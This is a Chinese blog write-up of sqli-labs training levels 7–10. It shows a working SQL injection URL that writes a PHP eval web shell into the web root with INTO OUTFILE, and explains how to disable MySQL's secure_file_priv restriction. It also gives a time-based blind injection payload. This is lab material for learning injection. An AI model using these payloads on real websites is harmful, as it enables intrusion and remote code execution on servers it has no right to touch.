sqli-labs7-10

Lession-7

这次练习的靶场是sqli-labs第7关,练习mysql的文件写入。我们的目的是将一句话木马写入到网站的Less-7目录下,先来看一下该目录的初始状态

执行SQL写文件操作
http://192.168.1.158/sqli-labs/Less-7/?id=1')) union select 1,2,"<?php @eval($_POST['cmd']); ?>" into outfile "c:/phpstudy/www/sqli-labs/Less-7/shell.php"--+

虽然报错,但是我们的一句话木马应该是成功写入到c:/phpstudy/www/sqli-labs/Less-7/shell.php文件中。查看一句话是否写入成功

发现并没有成功写入一句话,这是为什么呢?我们查看一下secure-file-priv参数


secure-file-priv是用来限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()传到哪个指定目录的。

secure _file_priv的值为null时,表示mysql不允许导入、导出
当secure_file_priv的值为/tmp/ ,表示mysql只能导入、导出到/tmp/目录下
当secure_file_priv的值没有具体值时,表示不对mysql的导入、导出做限制

上面我们的查询结果中secure_file_priv值为NULL,所以无法写入文件。现在我们来开启它

添加secure_file_priv=后,重启mysql服务即可。此时我们再来写入一句话http://192.168.1.158/sqli-labs/Less-7/?id=1')) union select 1,2,"<?php @eval($_POST['cmd']); ?>" into outfile "c:/phpstudy/www/sqli-labs/Less-7/shell.php"--+

Lession-8

第8关是基于布尔型盲注,如果SQL语句查询成功,则会返回”You are in”;否则返回空。关于这个盲注,我之前已经写过分析文章,可以参考:sqli-lab5(盲注)

Lession-9

第9关是基于时间型盲注,在这一关中,不管SQL语句是否查询成功,都会返回”You are in”,这时候就需要使用到延时盲注了。
在开始之前,我们需要先了解以下mysql中if语句的用法

IF表达式

IF(expr1,expr2,expr3)
如果 expr1 是TRUE,则 IF()的返回值为expr2; 否则返回值则为 expr3。IF() 的返回值为数字值或字符串值,具体情况视其所在语境而定。

IF ELSE 做为流程控制语句使用

if实现条件判断,满足不同条件执行不同的操作,下面来看看mysql 存储过程中的if是如何使用的
mysql实例 IF Else语句的例子

IFNULL(expr1,expr2)

如果expr1 不为 NULL,则 IFNULL() 的返回值为 expr1; 否则其返回值为 expr2。IFNULL()的返回值是数字或是字符串,具体情况取决于其所使用的语境。

Case when语句替代if


在了解了这些基本知识之后,我们使用一下payload来sql注入
http://192.168.1.158/sqli-labs/Less-8/?id=1' and If(ascii(substr(database(),1,1))=115,1,sleep(5))–+


所以我们可以根据服务器给我们返回数据的时间,来判断我们的SQL语句是否查询成功,注入过程和之前的盲注是类似的,这里不再赘述。

Lession-10

第10关只要把前面两关payload部分的单引号改成双引号即可。
参考文章
MySQL的if,case语句使用总结

文章作者: Mochazz
文章链接: https://mochazz.github.io/2017/11/04/sqli-labs7-10/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Mochazz's blog